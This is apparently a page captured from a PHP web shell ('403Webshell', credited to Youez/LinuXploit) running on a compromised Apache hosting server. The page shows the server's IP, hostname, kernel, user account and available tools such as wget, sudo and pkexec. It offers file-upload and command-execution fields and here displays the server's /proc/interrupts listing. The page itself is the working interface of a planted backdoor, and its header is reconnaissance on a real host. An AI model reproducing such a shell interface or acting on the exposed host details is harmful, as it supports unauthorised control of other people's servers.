403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//interrupts
           CPU0       CPU1       
  0:        287          0   IO-APIC-edge      timer
  1:         10          0   IO-APIC-edge      i8042
  4:         56          0   IO-APIC-edge      serial
  8:          0          0   IO-APIC-edge      rtc0
  9:          0          0   IO-APIC-fasteoi   acpi
 12:         15          0   IO-APIC-edge      i8042
 16:          0          0   IO-APIC-fasteoi   i801_smbus
 22:         68      78151   IO-APIC-fasteoi   uhci_hcd:usb1, virtio4
 24:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 25:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 26:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 27:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 28:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 29:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 30:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 31:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 32:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 33:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 34:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 35:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 36:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 37:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 38:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 39:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 40:          0          0   PCI-MSI-edge      aerdrv, PCIe PME
 41:          0          0   PCI-MSI-edge      virtio1-config
 42:   25615832      77634   PCI-MSI-edge      virtio1-input.0
 43:        490        673   PCI-MSI-edge      virtio1-output.0
 44:       2633   29117502   PCI-MSI-edge      virtio1-input.1
 45:        622        611   PCI-MSI-edge      virtio1-output.1
 46:          0          0   PCI-MSI-edge      virtio3-config
 47:         34         59   PCI-MSI-edge      virtio3-virtqueues
 48:          0          0   PCI-MSI-edge      virtio2-config
 49:          0          0   PCI-MSI-edge      virtio2-control
 50:          0          0   PCI-MSI-edge      virtio2-event
 51:     446555     573700   PCI-MSI-edge      virtio2-request
 52:     387683     676654   PCI-MSI-edge      virtio2-request
 53:     152830     269757   PCI-MSI-edge      0000:00:1f.2
 54:          0          0   PCI-MSI-edge      virtio5-config
 55:          5          0   PCI-MSI-edge      virtio5-input
 56:          0          0   PCI-MSI-edge      virtio0-config
 57:    3414728    4405771   PCI-MSI-edge      virtio0-control
 58:          0          0   PCI-MSI-edge      virtio0-cursor
NMI:          0          0   Non-maskable interrupts
LOC:  510038659  412059134   Local timer interrupts
SPU:          0          0   Spurious interrupts
PMI:          0          0   Performance monitoring interrupts
IWI:    5548505    6177745   IRQ work interrupts
RTR:          0          0   APIC ICR read retries
RES:   78560329   82899744   Rescheduling interrupts
CAL:     652479     447136   Function call interrupts
TLB:    3276922    3647951   TLB shootdowns
TRM:          0          0   Thermal event interrupts
THR:          0          0   Threshold APIC interrupts
DFR:          0          0   Deferred Error APIC interrupts
MCE:          0          0   Machine check exceptions
MCP:       2606       2606   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0   Posted-interrupt notification event
NPI:          0          0   Nested posted-interrupt event
PIW:          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit